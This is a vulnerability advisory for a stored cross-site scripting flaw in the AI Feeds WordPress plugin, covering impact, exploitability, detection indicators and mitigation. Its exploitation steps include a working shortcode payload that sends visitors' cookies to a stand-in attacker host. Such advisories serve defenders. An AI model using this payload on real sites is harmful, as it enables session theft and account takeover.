CVE-2025-14030: 
WordPress vulnerability analysis and mitigation

CVE-2025-14030 is a Stored Cross-Site Scripting (XSS) vulnerability in the AI Feeds plugin for WordPress, affecting all versions up to and including 1.0.22. The flaw exists in the aife_post_meta shortcode due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was disclosed on December 12, 2025, with Wordfence as the reporting CNA. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, ENISA EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from the plugin's failure to properly sanitize user-supplied input or escape output when rendering the aife_post_meta shortcode (Wordfence). The vulnerable code is located in includes/functions.php at line 58, as referenced in the plugin's Trac repository (WordPress Trac). An attacker with at least Contributor-level WordPress access can embed a malicious shortcode containing JavaScript into a post or page; the script executes in the browser of any user who subsequently views that content. No special configuration is required beyond having a Contributor account on the target WordPress site.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, enabling session cookie theft, credential harvesting, unauthorized actions on behalf of victims, or redirection to malicious sites. The scope is marked as Changed in the CVSS vector, meaning the impact extends beyond the plugin itself to the broader WordPress site and its visitors. While availability is not directly affected, confidentiality and integrity are both at low risk per the CVSS assessment, with the practical impact potentially escalating if an administrator's session is hijacked (Wordfence, ENISA EUVD).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14030 as of the available data. The EPSS score is approximately 0.03%, indicating a very low probability of exploitation in the near term (ENISA EUVD). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities.

1. Reconnaissance: Identify WordPress sites running the AI Feeds plugin version 1.0.22 or earlier. This can be done by checking the plugin's readme.txt or changelog exposed at wp-content/plugins/ai-feeds/readme.txt.
2. Obtain Contributor Access: Register or compromise a Contributor-level (or higher) account on the target WordPress site.
3. Craft Malicious Shortcode: Create or edit a post/page and insert a malicious aife_post_meta shortcode with an embedded JavaScript payload, for example: [aife_post_meta key="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish Content: Submit or publish the post/page containing the injected shortcode. The plugin renders the shortcode output without proper sanitization.
5. Trigger Execution: When any user (including administrators) visits the affected page, the injected script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or the REST API containing aife_post_meta shortcode with suspicious script tags or encoded JavaScript payloads.
• File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing <script> tags or JavaScript URIs within aife_post_meta shortcode parameters.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the AI Feeds shortcode, potentially indicating cookie exfiltration or redirect activity.
• Application: Presence of the AI Feeds plugin at version 1.0.22 or below (wp-content/plugins/ai-feeds/) on a WordPress installation with Contributor-level user accounts enabled.

Users should update the AI Feeds plugin to a version beyond 1.0.22, which includes the fix applied in the changeset referenced in the plugin's Trac repository (WordPress Trac). As a workaround, site administrators can restrict Contributor-level user registration or disable the AI Feeds plugin until a patched version is applied. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules — such as Wordfence — can help block exploitation attempts in the interim (Wordfence).

Wordfence included CVE-2025-14030 in its weekly WordPress vulnerability report for December 8–14, 2025, noting it as part of a broader set of plugin vulnerabilities disclosed that week (Wordfence Blog). The vulnerability was also catalogued by ENISA's European Vulnerability Database (EUVD) and noted by INCIBE-CERT in Spain (ENISA EUVD). No significant broader media coverage or notable researcher commentary beyond standard vulnerability tracking has been observed.